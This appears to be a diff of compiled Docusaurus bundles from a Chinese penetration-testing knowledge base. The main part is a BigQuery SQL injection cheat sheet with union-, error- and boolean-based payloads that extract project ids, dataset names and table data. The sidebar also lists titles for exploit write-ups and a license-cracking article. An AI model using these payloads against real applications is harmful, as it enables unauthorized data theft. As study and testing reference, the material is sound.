u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)","title":"\u7528\u53cb YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp","title":"\u7985\u9053 action.ajaxGetList \u672a\u6388\u6743\u6cc4\u9732\u5230 Getshell \u8bfb\u53d6 /flag WP","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u7591\u96be\u6742\u75c7/k3s/Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u7591\u96be\u6742\u75c7/k3s/Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/README","title":"Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7b80\u6613http\u4ee3\u7406":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7b80\u6613http\u4ee3\u7406","title":"go-proxy-http","description":"[!Note]","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-CVE-2022-26134":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-CVE-2022-26134","title":"CVE-2022-26134","description":"[!Note]","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-Docker-Daemon-Api-Rce":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-Docker-Daemon-Api-Rce","title":"docker-daemon-api-rce","description":"[!Note]","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-map":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-map","title":"map","description":"map\u662f\u4e00\u79cd\u65e0\u5e8f\u7684\u57fa\u4e8ekey-value\u7684\u6570\u636e\u7ed3\u6784\uff0cGo\u8bed\u8a00\u4e2d\u7684map\u662f\u5f15\u7528\u7c7b\u578b\uff0c\u5fc5\u987b\u521d\u59cb\u5316\u624d\u80fd\u4f7f\u7528\u3002","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u51fd\u6570":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u51fd\u6570","title":"\u51fd\u6570","description":"Go\u8bed\u8a00\u4e2d\u652f\u6301\u51fd\u6570\u3001\u533f\u540d\u51fd\u6570\u548c\u95ed\u5305\uff0c\u5e76\u4e14\u51fd\u6570\u5728Go\u8bed\u8a00\u4e2d\u5c5e\u4e8e\u201c\u4e00\u7b49\u516c\u6c11\u201d\u3002","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5207\u7247":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5207\u7247","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5207\u7247","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5305":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5305","title":"\u5305\u4e0e\u4f9d\u8d56\u7ba1\u7406","description":"\u672c\u7ae0\u5b66\u4e60\u76ee\u6807","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53cd\u5c04":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53cd\u5c04","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53cd\u5c04","description":"\u53d8\u91cf\u7684\u5185\u5728\u673a\u5236","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53d8\u91cf\u5e38\u91cf":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53d8\u91cf\u5e38\u91cf","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53d8\u91cf\u548c\u5e38\u91cf","description":"\u6807\u8bc6\u7b26\u4e0e\u5173\u952e\u5b57","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5e76\u53d1":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5e76\u53d1","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5e76\u53d1","description":"\u5e76\u53d1\u7f16\u7a0b\u5728\u5f53\u524d\u8f6f\u4ef6\u9886\u57df\u662f\u4e00\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u6982\u5ff5\uff0c\u968f\u7740CPU\u7b49\u786c\u4ef6\u7684\u53d1\u5c55\uff0c\u6211\u4eec\u65e0\u4e00\u4f8b\u5916\u7684\u60f3\u8ba9\u6211\u4eec\u7684\u7a0b\u5e8f\u8fd0\u884c\u7684\u5feb\u4e00\u70b9\u3001\u518d\u5feb\u4e00\u70b9\u3002Go\u8bed\u8a00\u5728\u8bed\u8a00\u5c42\u9762\u5929\u751f\u652f\u6301\u5e76\u53d1\uff0c\u5145\u5206\u5229\u7528\u73b0\u4ee3CPU\u7684\u591a\u6838\u4f18\u52bf\uff0c\u8fd9\u4e5f\u662fGo\u8bed\u8a00\u80fd\u591f\u5927\u8303\u56f4\u6d41\u884c\u7684\u4e00\u4e2a\u5f88\u91cd\u8981\u7684\u539f\u56e0\u3002","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e","title":"\u5b89\u88c5Go\u8bed\u8a00\u53ca\u642d\u5efaGo\u8bed\u8a00\u5f00\u53d1\u73af\u5883","description":"\u6ce8\u610f\uff1aGo\u8bed\u8a001.14\u7248\u672c\u4e4b\u540e\u63a8\u8350\u4f7f\u7528go modules\u7ba1\u7406\u4f9d\u8d56\uff0c\u4e5f\u4e0d\u518d\u9700\u8981\u628a\u4ee3\u7801\u5199\u5728GOPATH\u76ee\u5f55\u4e0b\u4e86\uff0c\u4e4b\u524d\u65e7\u7248\u672c\u7684\u6559\u7a0b\u6233\u8fd9\u4e2a\u94fe\u63a5\u3002","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6307\u9488":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6307\u9488","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6307\u9488","description":"\u4efb\u4f55\u7a0b\u5e8f\u6570\u636e\u8f7d\u5165\u5185\u5b58\u540e\uff0c\u5728\u5185\u5b58\u90fd\u6709\u4ed6\u4eec\u7684\u5730\u5740\uff0c\u8fd9\u5c31\u662f\u6307\u9488\u3002\u800c\u4e3a\u4e86\u4fdd\u5b58\u4e00\u4e2a\u6570\u636e\u5728\u5185\u5b58\u4e2d\u7684\u5730\u5740\uff0c\u6211\u4eec\u5c31\u9700\u8981\u6307\u9488\u53d8\u91cf\u3002","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u63a5\u53e3":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u63a5\u53e3","title":"\u63a5\u53e3","description":"\u672c\u7ae0\u5b66\u4e60\u76ee\u6807","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/Golang-\u64cd\u4f5cMySQL":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/Golang-\u64cd\u4f5cMySQL","title":"Golang-\u64cd\u4f5cMySQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u64cd\u4f5cRedis":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u64cd\u4f5cRedis","title":"Redis","description":"\u5728\u9879\u76ee\u5f00\u53d1\u4e2dredis\u7684\u4f7f\u7528\u4e5f\u6bd4\u8f83\u9891\u7e41\uff0c\u672c\u6587\u4ecb\u7ecd\u4e86Go\u8bed\u8a00\u4e2dgo-redis\u5e93\u7684\u57fa\u672c\u4f7f\u7528\u3002","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u636e\u7c7b\u578b":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u636e\u7c7b\u578b","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u57fa\u672c\u6570\u636e\u7c7b\u578b","description":"\u6574\u578b","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u7ec4":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u7ec4","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6570\u7ec4","description":"\u6570\u7ec4\u662f\u540c\u4e00\u79cd\u6570\u636e\u7c7b\u578b\u5143\u7d20\u7684\u96c6\u5408\u3002 \u5728Go\u8bed\u8a00\u4e2d\uff0c\u6570\u7ec4\u4ece\u58f0\u660e\u65f6\u5c31\u786e\u5b9a\uff0c\u4f7f\u7528\u65f6\u53ef\u4ee5\u4fee\u6539\u6570\u7ec4\u6210\u5458\uff0c\u4f46\u662f\u6570\u7ec4\u5927\u5c0f\u4e0d\u53ef\u53d8\u5316\u3002 \u57fa\u672c\u8bed\u6cd5\uff1a","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6587\u4ef6io":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6587\u4ef6io","title":"Go\u8bed\u8a00\u6587\u4ef6\u64cd\u4f5c","description":"\u6253\u5f00\u548c\u5173\u95ed\u6587\u4ef6","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6d41\u7a0b\u63a7\u5236":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6d41\u7a0b\u63a7\u5236","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6d41\u7a0b\u63a7\u5236","description":"if else(\u5206\u652f\u7ed3\u6784)","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7ed3\u6784\u4f53":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7ed3\u6784\u4f53","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7ed3\u6784\u4f53","description":"\u7c7b\u578b\u522b\u540d\u548c\u81ea\u5b9a\u4e49\u7c7b\u578b","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7f51\u7edc\u7f16\u7a0b":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7f51\u7edc\u7f16\u7a0b","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7f51\u7edc\u7f16\u7a0b","description":"\u4e92\u8054\u7f51\u534f\u8bae\u4ecb\u7ecd","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u8fd0\u7b97\u7b26":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u8fd0\u7b97\u7b26","title":"GoLang-\u8fd0\u7b97\u7b26","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/README","title":"Go\u57fa\u7840\u7f16\u7a0b","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLand-net.http":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLand-net.http","title":"02.GoLand-net.http.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-fmt":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-fmt","title":"fmt","description":"\u672c\u7bc7\u77e5\u8bc6\uff0c\u642c\u8fd0\u81f3 Go\u8bed\u8a00fmt\u4f7f\u7528\u6307\u5357 | \u674e\u6587\u5468\u7684\u535a\u5ba2\uff0c\u5982\u6709\u4fb5\u6743\uff0c\u8054\u7cfb\u6211\u4e0b\u67b6 \u3002","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-goflags":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-goflags","title":"goflags","description":"[!Tip]","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/README","title":"\u8bed\u8a00\u77e5\u8bc6","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","title":"TscanPlus \u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u66f4\u65b0\u65e5\u5fd7":{"id":"\u66f4\u65b0\u65e5\u5fd7","title":"\u66f4\u65b0\u65e5\u5fd7","description":"2026\u5e7410\u6708","sidebar":"tutorialSidebar"}}}}')}}]); \ No newline at end of file diff --git a/en/assets/js/0bfe2165.f3bc4b88.js b/en/assets/js/0bfe2165.f3bc4b88.js new file mode 100644 index 0000000..e17a3c4 --- /dev/null +++ b/en/assets/js/0bfe2165.f3bc4b88.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8442],{23451:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>c,contentTitle:()=>a,default:()=>u,frontMatter:()=>s,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/BigQuery","title":"BigQuery","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/11.BigQuery.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/BigQuery","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/BigQuery","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/11.BigQuery.md","tags":[],"version":"current","sidebarPosition":11,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Cassandra","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra"},"next":{"title":"XSS\u6ce8\u5165","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/"}}');var l=i(74848),t=i(28453);const s={},a=void 0,c={},d=[{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"\u4fa6\u67e5",id:"\u4fa6\u67e5",level:2},{value:"\u5927\u7684",id:"\u5927\u7684",level:2},{value:"\u57fa\u4e8e BigQuery \u8054\u5408",id:"\u57fa\u4e8e-bigquery-\u8054\u5408",level:2},{value:"\u57fa\u4e8e BigQuery \u9519\u8bef",id:"\u57fa\u4e8e-bigquery-\u9519\u8bef",level:2},{value:"\u57fa\u4e8e BigQuery \u5e03\u5c14\u503c",id:"\u57fa\u4e8e-bigquery-\u5e03\u5c14\u503c",level:2},{value:"\u57fa\u4e8e\u65f6\u95f4\u7684 BigQuery",id:"\u57fa\u4e8e\u65f6\u95f4\u7684-bigquery",level:2},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function o(e){const n={a:"a",code:"code",h2:"h2",img:"img",li:"li",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,l.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,l.jsx)(n.h2,{id:"\u4fa6\u67e5",children:"\u4fa6\u67e5"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\u4f7f\u7528\u7ecf\u5178\u7684\u5355\u5f15\u53f7\u89e6\u53d1\u9519\u8bef\uff1a ",(0,l.jsx)(n.code,{children:"'"})]}),"\n",(0,l.jsxs)(n.li,{children:["\u4f7f\u7528\u56de\u6eaf\u7b26\u53f7\u8bc6\u522b BigQuery\uff1a",(0,l.jsx)(n.code,{children:"SELECT .... FROM `` AS ..."})]}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-ps1",children:"# Gathering project id\nselect @@project_id\n\n# Gathering all dataset names\nselect schema_name from INFORMATION_SCHEMA.SCHEMATA\n\n# Gathering data from specific project id & dataset\nselect * from `project_id.dataset_name.table_name`\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u5927\u7684",children:"\u5927\u7684"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-ps1",children:"select 1#from here it is not working\nselect 1/*between those it is not working*/\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u4e8e-bigquery-\u8054\u5408",children:"\u57fa\u4e8e BigQuery \u8054\u5408"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-ps1",children:"UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#\ntrue) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#\ntrue) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#\n' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u4e8e-bigquery-\u9519\u8bef",children:"\u57fa\u4e8e BigQuery \u9519\u8bef"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-ps1",children:"# Error based - division by zero\n' OR if(1/(length((select('a')))-1)=1,true,false) OR '\n\n# Error based - casting: select CAST(@@project_id AS INT64)\ndataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u4e8e-bigquery-\u5e03\u5c14\u503c",children:"\u57fa\u4e8e BigQuery \u5e03\u5c14\u503c"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-ps1",children:"' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u4e8e\u65f6\u95f4\u7684-bigquery",children:"\u57fa\u4e8e\u65f6\u95f4\u7684 BigQuery"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"BigQuery \u8bed\u6cd5\u4e2d\u4e0d\u5b58\u5728\u57fa\u4e8e\u65f6\u95f4\u7684\u51fd\u6570\u3002"}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac",children:"BigQuery SQL \u6ce8\u5165\u4f5c\u5f0a\u8868-Ozgur Alp-2 \u6708 14 \u65e5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://cloud.google.com/bigquery/docs/reference/standard-sql/query-syntax",children:"BigQuery \u6587\u6863-\u67e5\u8be2\u8bed\u6cd5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators",children:"BigQuery \u6587\u6863-\u51fd\u6570\u548c\u8fd0\u7b97\u7b26"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://hackemall.live/index.php/2020/03/31/akamai-web-application-firewall-bypass-journey-exploiting-google-bigquery-sql-injection-vulnerability/",children:"Akamai Web \u5e94\u7528\u7a0b\u5e8f\u9632\u706b\u5899\u7ed5\u8fc7\u4e4b\u65c5\uff1a\u5229\u7528\u201cGoogle BigQuery\u201dSQL \u6ce8\u5165\u6f0f\u6d1e-\u4f5c\u8005\uff1aDuc Nguyen The\uff0c2020 \u5e74 3 \u6708 31 \u65e5"})}),"\n"]})]})}function u(e={}){const{wrapper:n}={...(0,t.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(o,{...e})}):o(e)}},28453:(e,n,i)=>{i.d(n,{R:()=>s,x:()=>a});var r=i(96540);const l={},t=r.createContext(l);function s(e){const n=r.useContext(t);return 